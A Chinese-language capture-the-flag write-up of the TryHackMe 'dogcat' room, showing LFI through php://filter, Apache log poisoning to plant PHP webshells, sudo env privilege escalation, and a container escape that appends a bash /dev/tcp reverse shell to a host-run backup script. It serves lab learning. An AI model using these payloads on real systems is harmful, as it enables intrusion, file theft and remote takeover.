dogcat|TryHackMe
dogcat|TryHackMe
最不擅长的一集,基本看wp
nmap扫描:
只开了22和80
80端口网页,可以选择dog或者cat,分别返回猫狗图片,有个get参数view=dog
对view进行简单fuzz,发现参数必须包括dog或者cat。
源码很可能是以下结构:
1 | $dir = $_GET["view"] .'.php'; |
构造伪协议读取源码:
/?view=php://filter/read=convert.base64-encode/resource=./dog/../index
源码片段是:
1 | $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; |
$ext可以控制,可以读取所有类型文件。
从报错信息可以知道当前目录是/var/www/html
读/etc/passwd:/?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../etc/passwd&ext=
1 | root:x:0:0:root:/root:/bin/bash |
好家伙全是nologin
尝试访问access.log
/?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../var/log/apache2/access.log&ext=&
可以看到log内容,验证是否存在文件解析漏洞
起个burp,抓包改useragent为<?php phpinfo(); ?>
可以看到phpinfo,漏洞存在。
改useragent传一个简单的webshell上去<?php system($_GET['cmd']);?>
可以执行一些命令了:/?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=ls
先读一下flag.php
/?view=php://filter/read=convert.base64-encode/resource=./dog/../flag
把<?php system($_GET['cmd']);?>
写入shell.php
/?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=echo "<?php system($_GET['cmd']);?>" >shell.php
/shell.php?cmd=ls解析不了命令,一看写入不完整
用base64编码再传echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= | base64 --decode >shell.php
找到flag2
一直弹不了shell,还是传一句话木马上去吧
echo '<?php @eval($_POST[cmd]);?>' >shell.php
msf菜刀模块连上
sudo -l查看
1 | www-data@d169e6ba5479:/var/www/html$ sudo -l |
env提权:sudo /usr/bin/env /bin/bash
-i
/root下找到flag3
flag4需要docker逃逸
在/opt/backups目录下面有一个backup.tar和backup.sh
解压backup.tar拿到一个root文件夹
1 | root@d169e6ba5479:/opt/backups/root/containercat launch.sh |
可以看到backup是docker与宿主机之间的共享目录,并且backup.sh备份的是宿主机的内容。猜测宿主机会定时执行backup.sh
修改backup.sh:
1 | echo "bash -i >& /dev/tcp/10.9.224.253/1234 0>&1" >> backup.sh |
等一会就反弹过来shell了
也可以用msf的exploit/multi/handler